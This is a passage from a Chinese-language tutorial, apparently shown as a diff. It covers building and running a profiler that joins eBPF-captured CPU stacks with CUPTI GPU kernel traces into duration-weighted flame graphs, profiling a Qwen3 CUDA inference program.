是我们分析器的全部关键。它是一个“标签”,使我们能够明确地证明 CPU 上 ID 为 `12345` 的 `cudaLaunchKernel` 调用直接导致了 GPU 上 ID 为 `12345` 的 `matmul_kernel` 执行。我们的注入库只是将这些事件写入一个文本文件,创建一个所有 GPU 活动的日志,为最终的合并步骤做好准备。 + +3. **侦探工作:在 `merge_gpu_cpu_trace.py` 中合并追踪** + + 分析运行完成后,我们有两个关键的证据:来自我们 eBPF 分析器的 CPU 堆栈追踪文件和来自我们 CUPTI 库的 GPU 活动文件。最后一步是将它们整合在一起,讲述一个单一、连贯的故事。这是我们基于 Python 的侦探 `TraceMerger` 的工作。 + + `TraceMerger` 类是核心关联逻辑所在。它首先解析两个追踪文件。CPU 追踪采用我们的“扩展折叠格式”,每行包含一个纳秒级时间戳和一个完整的调用堆栈。GPU 追踪包含我们记录的所有 `RUNTIME` 和 `CONCURRENT_KERNEL` 事件。 + + 然后,脚本对捕获的每个 CPU 堆栈追踪执行一个两步匹配过程: + + 1. **时间戳匹配**:对于在特定纳秒捕获的给定 CPU 堆栈,它会搜索 GPU 追踪中大约在同一时间发生的 `cudaLaunchKernel` *运行时事件*。我们必须允许一个很小的时间窗口(例如,10 毫秒),因为 CPU 和 GPU 的时钟并非完全同步,并且可能会有微小的延迟。 + + 2. **关联 ID 确认**:一旦根据时间找到了一个潜在的匹配,它就会从那个 `cudaLaunchKernel` 运行时事件中获取关联 ID。然后,它会搜索一个具有完全相同关联 ID 的*内核执行事件*。 + + 如果两个步骤都成功,我们就有一个确认的匹配!我们现在知道 CPU 堆栈追踪直接导致了那个特定的 GPU 内核执行。然后,脚本将 GPU 内核的名称附加到 CPU 调用堆栈中,创建一个统一的视图。 + +```python +class TraceMerger: + def find_matching_kernel(self, cpu_stack: CPUStack) -> Optional[GPUKernelEvent]: + """ + 使用我们的两步匹配过程将 CPU 堆栈与 GPU 内核关联起来。 + """ + # 步骤 1:找到与我们的 CPU 堆栈捕获时间最接近的 + # cudaLaunchKernel 运行时调用。 + best_launch = None + min_time_diff = self.timestamp_tolerance_ns # 10ms 搜索窗口 + + for launch in self.cuda_launches.values(): + time_diff = abs(cpu_stack.timestamp_ns - launch.start_ns) + if time_diff < min_time_diff: + min_time_diff = time_diff + best_launch = launch + + if not best_launch: + return None # 在我们的时间窗口内没有找到启动事件。 + + # 步骤 2:使用启动事件中的关联 ID 来找到 + # 执行的确切 GPU 内核。 + for kernel in self.gpu_kernels: + if kernel.correlation_id == best_launch.correlation_id: + return kernel # 成功!我们找到了匹配的内核。 + + return None + + def merge_traces(self): + """ + 构建最终的合并堆栈,为火焰图脚本做好准备。 + 示例:cpu_func1;cpu_func2;cudaLaunchKernel;[GPU_Kernel]kernel_name + """ + for cpu_stack in self.cpu_stacks: + merged_stack = cpu_stack.stack.copy() + + gpu_kernel = self.find_matching_kernel(cpu_stack) + if gpu_kernel: + # 如果找到匹配项,则附加 GPU 内核的名称。 + merged_stack.append(f"[GPU_Kernel]{gpu_kernel.name}") + else: + # 如果未找到匹配项,我们仍然注意到尝试了一次启动。 + merged_stack.append("[GPU_Launch_Pending]") + + # 将最终的合并堆栈转换为字符串。 + stack_str = ';'.join(merged_stack) + + # 这是关键步骤:按 GPU 内核的 + # 实际执行时间(以微秒为单位)对堆栈进行加权,而不仅仅是简单的计数。 + kernel_duration_us = int(gpu_kernel.end_us - gpu_kernel.start_us) if gpu_kernel else 0 + self.merged_stacks[stack_str] += kernel_duration_us +``` + +### 持续时间加权的重要性 + +在整个过程中,最关键的细节之一是我们如何为火焰图生成最终数据。标准的火焰图只是计算每个唯一堆栈跟踪出现的次数。这对于仅限 CPU 的分析来说是可行的,因为每个样本代表大致相等的时间片。但对于我们的用例,这将是误导性的。 + +一个 `cudaLaunchKernel` 调用可能启动一个运行 2 微秒的内核,也可能启动一个运行 200 毫秒的内核。如果我们只是将它们都算作“1”,火焰图会错误地显示它们具有同等的重要性。 + +为了解决这个问题,我们使用**持续时间加权**。我们不是为匹配的堆栈的计数加 `1`,而是加上 GPU 内核的*实际执行持续时间(以微秒为单位)*。 + +- `cpu_stack;...;[GPU_Kernel]fast_kernel 2` (运行了 2 µs) +- `cpu_stack;...;[GPU_Kernel]slow_kernel 200000` (运行了 200,000 µs) + +这确保了最终火焰图中条形的宽度与*在 GPU 上花费的实际时间*成正比。一个运行时间长 1000 倍的内核将显示为宽 1000 倍,从而立即准确地将您的注意力吸引到真正的性能热点上。没有这个,您将盲目飞行,无法区分真正昂贵的操作和微不足道的操作。 + +### 整合一切:`gpuperf.py` 中的编排 + +谜题的最后一块是 `gpuperf.py` 脚本,它充当我们分析管弦乐队的指挥。它负责启动跟踪器、运行目标应用程序、停止跟踪器,以及启动最终的合并和分析。操作的顺序对于一切正常工作至关重要。 + +让我们看一下 `run_with_trace` 函数中的核心逻辑: + +```python +def run_with_trace(self, command, cpu_profile, chrome_trace, merged_trace): + # 1. 为 CUPTI 注入设置环境。这告诉 CUDA + # 运行时在哪里找到我们的自定义跟踪器库。 + env = os.environ.copy() + env['CUDA_INJECTION64_PATH'] = str(self.injection_lib) + env['CUPTI_TRACE_OUTPUT_FILE'] = trace_file + + # 2. 在目标应用程序之前启动 eBPF CPU 分析器。 + # 这至关重要,因为 uprobe 必须在应用程序 + # 进行其首次 CUDA 调用之前附加并准备就绪。 + self.start_cpu_profiler(cpu_output_file=cpu_profile) + time.sleep(1.0) # 给它一点时间以确保 uprobe 处于活动状态。 + + # 3. 启动目标应用程序。CUDA 运行时将自动 + # 加载我们的注入库,因为我们设置了环境变量。 + target_proc = subprocess.Popen(command, env=env) + target_proc.wait() + + # 4. 应用程序完成后,停止 CPU 分析器并 + # 开始最终的跟踪合并过程。 + self.stop_cpu_profiler() + self.generate_merged_trace(cpu_trace=cpu_profile, gpu_trace=chrome_trace, + output_file=merged_trace) +``` + +以下是时间线的逐步分解: + +1. **环境设置**:脚本首先设置 `CUDA_INJECTION64_PATH` 环境变量。这是 CUDA 驱动程序的一个官方功能,它告诉驱动程序将一个特定的共享库加载到任何初始化 CUDA 运行时的应用程序中。这是让我们的 CUPTI 跟踪器进入目标进程的钩子。 + +2. **首先启动 CPU 分析器**:脚本在启动用户命令*之前*调用 `start_cpu_profiler()`。这是编排中最关键的一步。eBPF 分析器需要将其 uprobe 附加到 `libcudart.so` 库中的 `cudaLaunchKernel` 函数。如果应用程序先启动,它可能会在我们的探针就位之前加载 CUDA 库并进行调用,导致我们错过事件。通过首先启动分析器(并增加一个短暂的休眠),我们确保我们的 CPU 间谍从一开始就已就位并准备好记录。 + +3. **启动目标**:在环境设置好且 eBPF 探针激活的情况下,脚本使用 `subprocess.Popen` 启动目标应用程序。一旦应用程序进行其首次 CUDA 调用,CUDA 运行时就会初始化,并且由于我们的环境变量,会加载我们的 `libcupti_trace_injection.so` 库。此时,我们的 CPU 和 GPU 跟踪器都已激活并正在记录数据。 + +4. **停止和合并**:脚本等待目标应用程序完成。一旦完成,它会干净地关闭 eBPF 分析器,然后调用 `generate_merged_trace()`。此函数是 `TraceMerger` 侦探的触发器,它开始解析、关联和加权数据以生成最终的统一折叠堆栈文件。 + +## 实践检验:示例应用程序 + +理论虽好,但最好的学习方式是实践。为了帮助您亲眼看到分析器的实际效果并亲自进行实验,本教程包含了两个不同的 CUDA 应用程序,您可以构建和分析它们。 + +### 主角:一个真实的 LLM 推理引擎 (`qwen3.cu`) + +这是推荐的示例,也是我们用来生成本教程开头火焰图的示例。`qwen3.cu` 是 Qwen3 0.6B 转换器模型的完整、自包含的 CUDA 实现。它不是一个简化的模型;它是一个在 GPU 上执行推理的真实的大型语言模型。 + +分析此应用程序可让您真实地了解现代 AI 中遇到的工作负载。您将看到转换器架构核心组件之间的相互作用,包括: +- 令牌化 +- 多头注意力层 +- 前馈网络 +- RMS 归一化 + +此示例非常适合理解神经网络中的高级概念如何转化为特定的 GPU 内核,以及在真实的 AI 应用程序中真正的性能瓶颈所在。 + +### 一个更简单的起点:模拟转换器模拟器 (`mock-test/llm-inference.cu`) + +如果您想要一个更简单、轻量级的测试用例,`mock-test/llm-inference.cu` 应用程序是一个很好的选择。它模拟了转换器模型的计算模式(如矩阵乘法和其他典型操作),但没有加载大型模型权重的开销。这使得它编译和运行都很快,提供了一种直接的方法来验证您的分析堆栈的所有组件在转向更复杂的工作负载之前是否正常工作。 + +## 开始构建:编译与执行 + +既然您已经了解了架构,现在是时候动手实践了。本节将引导您编译我们分析堆栈的所有必要组件:CUPTI 注入库、Rust eBPF 分析器和示例应用程序。然后,我们将运行完整的分析器来生成我们的第一个统一火焰图。 + +### 步骤 1:构建 CUPTI 注入库 + +首先,我们需要编译我们的 GPU 信息员——使用 CUPTI 追踪 GPU 活动的 C++ 共享库。这个库将被注入到我们的目标应用程序中,以报告 GPU 的活动情况。 + +导航到 `cupti_trace` 目录,并使用提供的 `Makefile` 来构建库: + +```bash +cd cupti_trace +make +``` + +此命令将 `cupti_trace_injection.cpp` 编译成一个名为 `libcupti_trace_injection.so` 的共享库文件。`Makefile` 旨在自动定位您的 CUDA 安装(它会检查 `/usr/local/cuda-12.x` 和 `/usr/local/cuda-13.x` 等常见路径),并链接到必要的 CUPTI 和 CUDA 运行时库。 + +编译完成后,请验证共享库是否已创建: + +```bash +ls -lh libcupti_trace_injection.so +``` + +您应该会看到一个新文件,大小通常在 100-120KB 左右。如果编译失败,最常见的原因是: +- 您的系统上未安装 CUDA 工具包。 +- `nvcc` 编译器不在您系统的 `PATH` 中。 +- 缺少 `CUPTI` 开发文件(它们通常包含在 CUDA 工具包的 `extras/CUPTI/` 目录下)。 + +### 步骤 2:构建 Rust eBPF 分析器 + +接下来,我们将构建 CPU 间谍——我们用 Rust 编写的高性能 eBPF 分析器。这个工具负责在调用 `cudaLaunchKernel` 时捕获 CPU 端的堆栈跟踪。 + +导航到 `profiler` 目录,并使用 `cargo` 来编译应用程序。我们将在 `--release` 模式下构建它,以确保它以最高的性能和最小的开销运行。 + +```bash +cd profiler +cargo build --release +``` + +此命令做了两件重要的事情: +1. 它编译了 Rust 用户空间应用程序,该应用程序管理 eBPF 探针并处理数据。 +2. 它还将基于 C 的 eBPF 程序(`profile.bpf.c`)编译成 BPF 字节码,并将其直接嵌入到最终的 Rust 可执行文件中。这创建了一个易于分发和运行的自包含二进制文件。 + +构建完成后,请验证分析器可执行文件是否已准备就绪: + +```bash +ls -lh target/release/profile +``` + +您还可以使用 `--help` 标志运行它,以查看可用的命令行选项: + +```bash +./target/release/profile --help +``` + +您应该会看到一个选项列表,包括 `--uprobe`(我们将用它来指定 `cudaLaunchKernel` 函数)和 `-E`(启用带有纳秒时间戳的“扩展折叠输出”格式)。最终的二进制文件大小约为 2-3MB,因为它不仅包含我们的代码,还包含了用于快速、离线堆栈符号化的强大 `blazesym` 库。 + +### 步骤 3:构建模拟 LLM 应用程序 + +在我们的分析工具编译完成后,我们现在需要一个目标应用程序来进行分析。我们将从两个示例中较简单的一个开始:模拟 LLM 模拟器。这个轻量级的 CUDA 应用程序非常适合进行快速测试,以确保我们分析器的所有部分都能正确协同工作。 + +导航到 `mock-test` 目录,并使用其 `Makefile` 编译应用程序: + +```bash +cd mock-test +make +``` + +此命令使用 `nvcc`(NVIDIA CUDA 编译器)将 `llm-inference.cu` 源文件构建成一个名为 `llm-inference` 的可执行文件。`Makefile` 包含一些有用的标志: +- `-std=c++17`:启用现代 C++ 特性。 +- `--no-device-link`:创建一个单一的、自包含的可执行文件,这简化了编译。 +- `-Wno-deprecated-gpu-targets`:如果您使用的是较新的 CUDA 工具包和稍旧的 GPU,可以抑制您可能看到的警告。 + +通过列出文件来验证编译是否成功: + +```bash +ls -lh llm-inference +``` + +生成的可执行文件应该很小,大约 200KB。您可以直接运行它以查看其运行情况。默认情况下,它会连续运行模拟 10 秒钟,因此您可以在几秒钟后使用 `Ctrl+C` 提前停止它。 + +```bash +./llm-inference +# 应用程序将开始打印输出... +# 几秒钟后按 Ctrl+C 停止它。 +``` + +### 步骤 4:构建真实的 LLM 推理应用程序 + +现在是重头戏:编译 `qwen3.cu` 应用程序。这是一个真实的、自包含的 LLM 推理引擎,运行 Qwen3 0.6B 模型。分析这个应用程序将为您提供一个极好的、真实的现代 AI 工作负载视图。 + +首先,导航到 `qwen3.cu` 目录。 + +```bash +cd qwen3.cu +``` + +在编译代码之前,您需要下载模型权重。`Makefile` 为此提供了一个方便的目标。 + +```bash +# 这将下载 3GB 的 FP32 模型文件 +make download-model +``` + +接下来,编译应用程序。这里有一个关键细节:为了让我们的 eBPF uprobe 工作,应用程序必须动态链接到 CUDA 运行时库(`libcudart.so`)。如果它是静态链接的,`cudaLaunchKernel` 符号将不会在共享库中可用,我们的探针也就无法找到它。`Makefile` 有一个特定的目标 `runcu`,可以为您处理这个问题。 + +```bash +# 使用动态链接编译应用程序 +make runcu +``` + +为了绝对确定它已正确链接,您可以使用 `ldd` 命令来检查可执行文件的依赖项。 + +```bash +ldd runcu | grep cudart +# 输出应该类似于这样: +# libcudart.so.12 => /usr/local/cuda-12.9/lib64/libcudart.so.12 +``` + +如果您看到一行显示 `runcu` 链接到 `libcudart.so`,那么您就准备好了!所有组件现在都已构建并准备就绪。 + +### 大显身手:运行分析器 + +所有组件都构建完成后,您现在可以运行完整的分析堆栈,亲眼看看它的实际效果了!`gpuperf.py` 脚本是您的中央指挥中心。它无缝地协调 eBPF 分析器、CUPTI 注入和最终的跟踪合并,为您提供应用程序性能的完整、端到端的视图。 + +让我们使用 Qwen3 模型来分析真实的 LLM 推理工作负载。以下命令告诉 `gpuperf.py` 运行 `runcu` 可执行文件并跟踪其执行: + +```bash +# 分析真实的 LLM 推理(Qwen3 模型) +sudo timeout -s 2 10 python3 gpuperf.py \ + -c qwen3_gpu.json \ + -p qwen3_cpu.txt \ + -m qwen3_merged.folded \ + bash -c 'cd qwen3.cu && ./runcu Qwen3-0.6B-FP32.gguf -q "Explain eBPF" -r 1' +``` + +让我们分解这个命令,以了解每个部分的作用: +- `sudo`:必需,因为 eBPF 分析器需要提升的权限才能将探针附加到内核和其他进程。 +- `timeout -s 2 10`:一个有用的实用程序,它运行命令最多 10 秒。它发送一个中断信号(`-s 2`,即 `SIGINT` 或 `Ctrl+C`)来优雅地停止进程。这非常适合捕获长时间运行的应用程序的简短、有代表性的样本。 +- `python3 gpuperf.py`:我们的主要编排脚本。 +- `-c qwen3_gpu.json`:指定 GPU 跟踪数据的输出文件,该文件将以 Chrome Trace JSON 格式保存。 +- `-p qwen3_cpu.txt`:指定 CPU 堆栈跟踪的输出文件,以我们的扩展折叠格式保存。 +- `-m qwen3_merged.folded`:最终的成果!这是最终的、合并的、按持续时间加权的折叠堆栈的输出文件。 +- `bash -c '...'`:要分析的命令。我们使用 `bash -c` 来确保在执行 `runcu` 应用程序之前,我们首先切换到 `qwen3.cu` 目录。 + +当脚本运行时,您将看到其进度的详细日志: + +``` +CUPTI trace output will be written to: /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/flamegraph/gpu_results.txt +Starting CPU profiler with cudaLaunchKernel hook + CUDA library: /usr/local/cuda-12.9/lib64/libcudart.so.12 + Output: /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/flamegraph/qwen3_cpu.txt +Running command with GPU profiling: bash -c cd qwen3.cu && ./runcu Qwen3-0.6B-FP32.gguf -q "What is eBPF?" -r 1 +Trace output: /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/flamegraph/gpu_results.txt +Started target process with PID: 3861826 +A: E BPF stands for "Extended Bounded Performance" and is a system designed to allow users to create custom user-space programs... +tok/s: 54.489164 + +Stopping CPU profiler... +CPU profile saved to: /home/yunwei37/workspace/bpf-developer-tutorial/src/xpu/flamegraph/qwen3_cpu.txt + +Converting trace to Chrome format: qwen3_gpu.json +Parsed 185867 events + +Chrome trace file written to: qwen3_gpu.json + +Generating merged CPU+GPU trace: qwen3_merged.folded +Parsing CPU uprobe trace (extended folded format): qwen3_cpu.txt +Parsed 92732 CPU stack traces from cudaLaunchKernel hooks +Found 1 unique threads +Parsing GPU CUPTI trace: qwen3_gpu.json +Parsed 92732 GPU kernel events +Parsed 92732 cudaLaunchKernel runtime events +Correlating CPU stacks with GPU kernels... + Thread (3861826, 3861826): Using sequential matching (92732 events) +Matched 92732 CPU stacks with GPU kernels +Total unique stacks: 7 +Wrote 7 unique stacks (3265164 total samples) +✓ Merged trace generated: qwen3_merged.folded +``` + +输出是信息的金矿。让我们分析一下关键统计数据: +- **捕获了 92,732 个 CPU 堆栈跟踪**:这意味着在 10 秒的运行期间,`cudaLaunchKernel` 函数被调用了超过 92,000 次。我们的 eBPF 分析器捕获了每一次。 +- **总共 185,867 个 GPU 事件**:CUPTI 跟踪器记录了大量的活动,包括内核启动、内存复制和其他运行时事件。 +- **100% 的关联率**:`Matched 92732 CPU stacks with GPU kernels` 这一行是最重要的。它证实了我们的关联逻辑完美工作,成功地将每一个 CPU 端的启动事件与其相应的 GPU 端内核执行联系起来。 +- **7 个唯一的堆栈**:尽管有超过 92,000 次调用,但它们都源于应用程序中仅有的 7 个唯一代码路径。 +- **总共 3,265,164 个样本**:这是所有 GPU 内核持续时间(以微秒为单位)的总和。它告诉我们,在此次运行期间,在 GPU 上执行内核所花费的总时间约为 3.27 秒。 + +这次成功的运行为我们留下了三个宝贵的跟踪文件(`qwen3_cpu.txt`、`qwen3_gpu.json` 和 `qwen3_merged.folded`),我们将在接下来的步骤中使用它们来可视化和检查性能数据。 + +### 步骤 5:生成火焰图 + +在成功的分析运行之后,您会得到 `qwen3_merged.folded` 文件。这是我们数据收集和关联工作的结晶,包含了构建我们统一的 CPU+GPU 火焰图所需的所有信息。为了将这些数据转化为美观且交互式的可视化,我们使用了经典的 `flamegraph.pl` 脚本,这是一个由性能工程专家 Brendan Gregg 创建的强大 Perl 程序,他开创了火焰图的使用。 + +此存储库包含一个方便的包装脚本 `combined_flamegraph.pl`,它基于原始脚本并为我们的需求量身定制。让我们用它来生成我们的 SVG 文件: + +```bash +./combined_flamegraph.pl qwen3_merged.folded > qwen3_flamegraph.svg +``` + +此命令从 `qwen3_merged.folded` 读取按持续时间加权的折叠堆栈,并输出一个名为 `qwen3_flamegraph.svg` 的可缩放矢量图形(SVG)文件。 + +现在,在任何现代网络浏览器中打开新创建的 SVG 文件以进行探索: + +```bash +firefox qwen3_flamegraph.svg +# 或 +google-chrome qwen3_flamegraph.svg +``` + +#### 导航您的交互式火焰图 + +欢迎来到您的统一性能概览!您看到的火焰图是理解应用程序行为的强大工具。以下是如何解读它: +- **Y 轴是调用堆栈**:每个垂直级别代表调用堆栈中的一个函数。底部的函数(`main`)调用其上方的函数,依此类推,一直到启动 GPU 内核的最终函数。 +- **X 轴是时间**:每个矩形(或“帧”)的宽度与它在 GPU 上花费的总时间成正比。因为我们使用了持续时间加权,一个运行 200 毫秒的内核的帧将比一个运行 2 毫秒的内核的帧宽 100 倍。这会立即将您的注意力吸引到代码中最昂贵的部分。 +- **交互性是关键**: + - **悬停**:将鼠标悬停在任何帧上,以查看其完整的函数名、消耗的总时间(以微秒为单位)以及它占总执行时间的百分比。 + - **点击缩放**:点击任何帧以“放大”它。火焰图将重新绘制,仅显示通过该函数的调用堆栈,从而轻松分析应用程序的特定部分。 +- **颜色是随机的**:颜色是随机选择的,以帮助区分相邻的帧。它们没有特定的含义。 + +#### 分析 Qwen3 LLM 火焰图 + +当您探索 `qwen3_flamegraph.svg` 时,您正在查看一个转换器模型的真实计算指纹。您将能够从 `main` 函数,通过 `chat()` 和 `forward()` 循环,一直追踪到特定的 GPU 内核。 + +您可能会注意到几个占主导地位的内核,它们构成了图表宽度的绝大部分: +- **`_Z13matmul_kernel...`(矩阵乘法)**:这将是迄今为止最宽的块,消耗了大约 3.1 秒(95%)的 GPU 时间。这是转换器前馈网络的核心,也是主要的计算瓶颈。 +- **`_Z27multi_head_attention_kernel...`(多头注意力)**:这个负责注意力机制的内核将是第二大的,但比矩阵乘法小得多(大约 105 毫秒,或 3.2%)。 +- **`_Z14rmsnorm_kernel...`(RMS 归一化)**:这些内核更小,表明在此模型中归一化是一个相对廉价的操作。 + +这种可视化提供了一个即时、直观的理解,即您的程序的时间都花在了哪里。它证明了对于这个 LLM,优化矩阵乘法操作将产生最大的性能提升。 + +### 深入探究:检查原始跟踪文件 + +虽然火焰图为您提供了一个极好的高层概览,但有时您需要接触原始数据来回答具体问题。我们的分析器生成三个不同的跟踪文件,每个文件都提供了查看应用程序性能的不同视角。让我们来探讨每个文件包含的内容以及如何使用它。 + +#### 1. CPU 端的故事:`qwen3_cpu.txt` + +此文件包含我们 Rust eBPF 分析器的原始输出。它是每次调用 `cudaLaunchKernel` 函数的日志,以我们特殊的“扩展折叠格式”捕获。 + +您可以使用 `head` 查看前几行: +```bash +head -5 qwen3_cpu.txt +``` + +输出将类似于这样: +``` +1761680628903821454 runcu 3861826 3861826 1 _start;__libc_start_main;0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z12accum_kernelPfS_i(...);cudaLaunchKernel +1761680628903827398 runcu 3861826 3861826 1 _start;__libc_start_main;0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z13matmul_kernelPfS_S_ii(...);cudaLaunchKernel +1761680628903830126 runcu 3861826 3861826 1 _start;__libc_start_main;0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z13matmul_kernelPfS_S_ii(...);cudaLaunchKernel +... +``` + +每行都是一个单一事件的完整快照,分解如下: +- `1761680628903821454`:事件发生的纳秒级时间戳。 +- `runcu`:进程的命令名。 +- `3861826`:进程 ID (PID)。 +- `3861826`:线程 ID (TID)。 +- `1`:捕获事件的 CPU 核心。 +- `_start;__libc_start_main;...;cudaLaunchKernel`:完整的、以分号分隔的用户空间调用堆栈。 + +这个文件本身就是一个信息宝库。您可以看到内核启动的确切顺序以及导致它们的 CPU 代码路径。您甚至可以从此文件生成一个仅限 CPU 的火焰图,以查看主机代码的哪些部分最常调用 CUDA API。 + +#### 2. GPU 端的故事:`qwen3_gpu.json` + +此文件包含我们 CUPTI 注入库的详细 GPU 活动跟踪,方便地格式化为可加载到 Chrome Trace Viewer 中的 JSON 文件。这为您提供了 GPU 上发生的一切的强大时间线可视化。 + +看一下文件的开头: +```bash +head -20 qwen3_gpu.json +``` + +您会看到一个标准的 JSON 结构。要理解它,请打开 Google Chrome 并导航到 `chrome://tracing`。点击“加载”按钮并选择您的 `qwen3_gpu.json` 文件。 + +您将看到的时间线视图对于理解 GPU 执行的动态非常有价值。您可以: +- **查看并行性**:直观地识别多个内核何时在不同的 CUDA 流上并发运行。 +- **发现气泡**:在时间线上找到 GPU 空闲的间隙,这可能表示 CPU 端瓶颈或低效的数据加载。 +- **分析内存传输**:查看 `cudaMemcpy` 操作花费了多长时间以及它们是否阻塞了内核执行。 + +#### 3. 统一的故事:`qwen3_merged.folded` + +这是我们用来生成火焰图的最终合并输出。它代表了我们 CPU 和 GPU 跟踪的成功关联。 + +让我们检查一下它的内容: +```bash +cat qwen3_merged.folded +``` + +输出显示了唯一的、组合的调用堆栈及其总加权持续时间: +``` +0x70c45902a1ca;main;chat(Transformer*, Tokenizer*, Sampler*, char*, char*, int, int, int, TokenBuffer*, int);forward(Transformer*, int, int);__device_stub__Z12accum_kernelPfS_i(float*, float*, int);cudaLaunchKernel;[GPU_Kernel]_Z12accum_kernelPfS_i 29 +0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z13matmul_kernelPfS_S_ii(float*, float*, float*, int, int);cudaLaunchKernel;[GPU_Kernel]_Z13matmul_kernelPfS_S_ii 3099632 +0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);__device_stub__Z14rmsnorm_kernelPfS_S_ii(float*, float*, float*, int, int);cudaLaunchKernel;[GPU_Kernel]_Z14rmsnorm_kernelPfS_S_ii 22119 +0x70c45902a1ca;main;chat(...);forward(Transformer*, int, int);multi_head_attention(...);__device_stub__Z27multi_head_attention_kerneliiPfS_S_S_S_iiii(...);cudaLaunchKernel;[GPU_Kernel]_Z27multi_head_attention_kerneliiPfS_S_S_S_iiii 105359 +``` + +这种格式简单但功能强大。每行由两部分组成: +1. 一个以分号分隔的字符串,代表一个完整的调用堆栈,从 CPU 开始,经过 `cudaLaunchKernel`,并以执行的 GPU 内核的名称结尾(例如,`[GPU_Kernel]_Z13matmul_kernel...`)。 +2. 末尾的一个数字,代表此特定调用堆栈在 GPU 上执行所花费的总时间(以**微秒**为单位)。 + +例如,以 `3099632` 结尾的行告诉我们,导致 `matmul_kernel` 的调用堆栈总共负责了 3,099,632 微秒(或 3.1 秒)的 GPU 计算时间。这种持续时间加权是创建能够准确反映真实世界的执行时间的火焰图的关键,使其成为性能分析不可或缺的工具。 + +## 前方之路:局限性与未来方向 + +恭喜您,您已经成功构建了一个功能强大的分析器,它为 CPU-GPU 交互提供了令人难以置信的洞察力。然而,与任何工具一样,它也有其局限性。了解这些边界是有效使用该分析器并看到未来发展令人兴奋的可能性的关键。 + +### 我们的分析器无法告诉您:内核内部的情况 + +我们的分析器擅长向您展示*哪个*CPU 代码启动了*哪个*GPU 内核,以及该内核运行了*多长时间*。如果您的火焰图显示一个内核消耗了 50 毫秒,那么您就找到了一个热点。但它没有告诉您*为什么*它很慢。内核是受内存限制,等待 VRAM 中的数据吗?还是受计算限制,其所有数学单元都已饱和?或者它是否遭受了线程分化,即同一 warp 内的线程采取了不同的代码路径? + +要回答这些问题,您需要更深入地进行**内核内部分析**。这是 **NVIDIA Nsight Compute** 或 **Nsight Systems** 等专业工具的领域。这些分析器可以在硬件级别上检测 GPU,收集有关 warp 占用率、指令吞吐量和内存延迟的指标。典型的工作流程是首先使用我们的火焰图分析器来识别最耗时的内核,然后使用 Nsight Compute 对这些特定内核进行深入分析,以优化其内部性能。 + +实现细粒度 GPU 可观察性的另一种方法是直接在 GPU 上运行 eBPF 程序。这是 eGPU 论文和 [bpftime GPU 示例](https://github.com/eunomia-bpf/bpftime/tree/master/example/gpu) 所探索的方向。`bpftime` 将 eBPF 字节码转换为 GPU 可以执行的 PTX 指令,然后在运行时动态修补 CUDA 二进制文件,以在内核入口/出口点注入这些 eBPF 程序。这使得能够观察到 GPU 特定的信息,如块索引、线程索引、全局计时器和 warp 级别的指标。开发人员可以在 GPU 内核内部的关键路径上进行检测,以测量执行行为并诊断内核侧跟踪无法触及的复杂性能问题。这种 GPU 内部的可观察性补充了内核跟踪点——它们共同提供了从 API 调用到内核驱动程序再到 GPU 执行的端到端可见性。 + +### 下一个前沿:构建一个统一的、系统范围的分析器 + +本教程提供了一个强大的基础,但旅程并未就此结束。下一个演进是构建一个生产级的、持续的分析器,提供真正全面的系统性能视图。这涉及到超越仅仅关联 CPU 调用和 GPU 内核,去理解性能瓶颈背后的“为什么”,并扩展到复杂的、真实世界的工作负载。 + +这项工作的未来正在 **[eunomia-bpf/xpu-perf](https://github.com/eunomia-bpf/xpu-perf)** 进行开发,这是一个旨在为 CPU 和 GPU 创建在线、持续分析器的开源项目。以下是正在探索的关键方向: + +* **从“什么”到“为什么”:深入的内核和指令级分析** + 我们当前的分析器告诉您*哪个*内核运行了以及运行了*多长时间*。下一步是理解*为什么*它很慢。这需要深入到 GPU 硬件本身。 + - **指令级停顿**:使用 **NVIDIA CUPTI** 等供应商库中的高级功能或 **iaprof** 等工具中的 Intel GPU 可观察性架构(OA)等技术,我们可以捕获 GPU 执行单元内停顿的具体原因。这意味着识别由内存延迟(等待数据)、ALU 争用或其他硬件限制引起的瓶颈,并将其归因于负责的确切着色器指令。 + - **硬件性能计数器**:通过在 GPU 上采样硬件性能计数器,我们可以收集有关缓存命中率、内存带宽和 warp 占用率的详细指标,从而提供一个丰富的、数据驱动的内核内性能图景。 + +* **一个全面的系统视图:结合 On-CPU、Off-CPU 和 GPU 数据** + 一个进程有多种状态,一个完整的分析器必须捕获所有这些状态。 + - **On-CPU 与 Off-CPU**:我们当前的 eBPF 分析器专注于“on-CPU”活动。一个完整的解决方案还应跟踪“off-CPU”时间,不仅向您显示 CPU 在做什么,还显示它*为什么*在等待。它是在等待 I/O、锁,还是最相关的,等待 GPU 内核完成? + - **统一火焰图**:通过合并 on-CPU、off-CPU 和 GPU 跟踪,我们可以创建一个单一的、系统范围的火焰图。这将可视化请求的整个生命周期,在一个无缝的视图中显示活动 CPU 计算所花费的时间、等待 GPU 所花费的时间以及在 GPU 上执行所花费的时间。 + +* **扩展到生产工作负载:多 GPU 和多流支持** + 现代 AI 和 HPC 工作负载很少局限于单个 GPU 或单个流。一个生产就绪的分析器必须处理这种复杂性。 + - **多 GPU 感知**:分析器应该能够区分不同的 GPU,用设备 ID 标记事件(例如,`[GPU0_Kernel]name` 与 `[GPU1_Kernel]name`)。这使得能够分析负载平衡,并有助于识别多 GPU 设置中特定于一个设备的问题。 + - **多流关联**:对于使用多个 CUDA 流进行并发执行的应用程序,必须增强关联逻辑。这涉及到跟踪 CPU 启动调用和 GPU 内核执行的流 ID,以便在复杂的、乱序的情况下正确归因工作。 + +通过集成这些高级功能,我们可以构建一个下一代可观察性工具,为加速应用程序的性能提供无与伦比的、端到端的洞察力。`xpu-perf` 上的工作旨在使这一愿景成为现实。 + + +## 总结:您的旅程回顾 + +恭喜!您已经成功地驾驭了复杂的 CPU-GPU 性能分析世界。分析现代加速应用程序的根本挑战在于连接两个不同的领域:提交工作的 CPU 和执行工作的 GPU。在本教程中,您构建了一个完整的、端到端的分析解决方案,正是为了实现这一目标。 + +让我们回顾一下您组装的强大堆栈: +- 一个用 Rust 构建的 **eBPF 分析器**,它使用 uprobes 在 `cudaLaunchKernel` 被调用的确切时刻以纳秒级精度捕获 CPU 堆栈跟踪。 +- 一个 **CUPTI 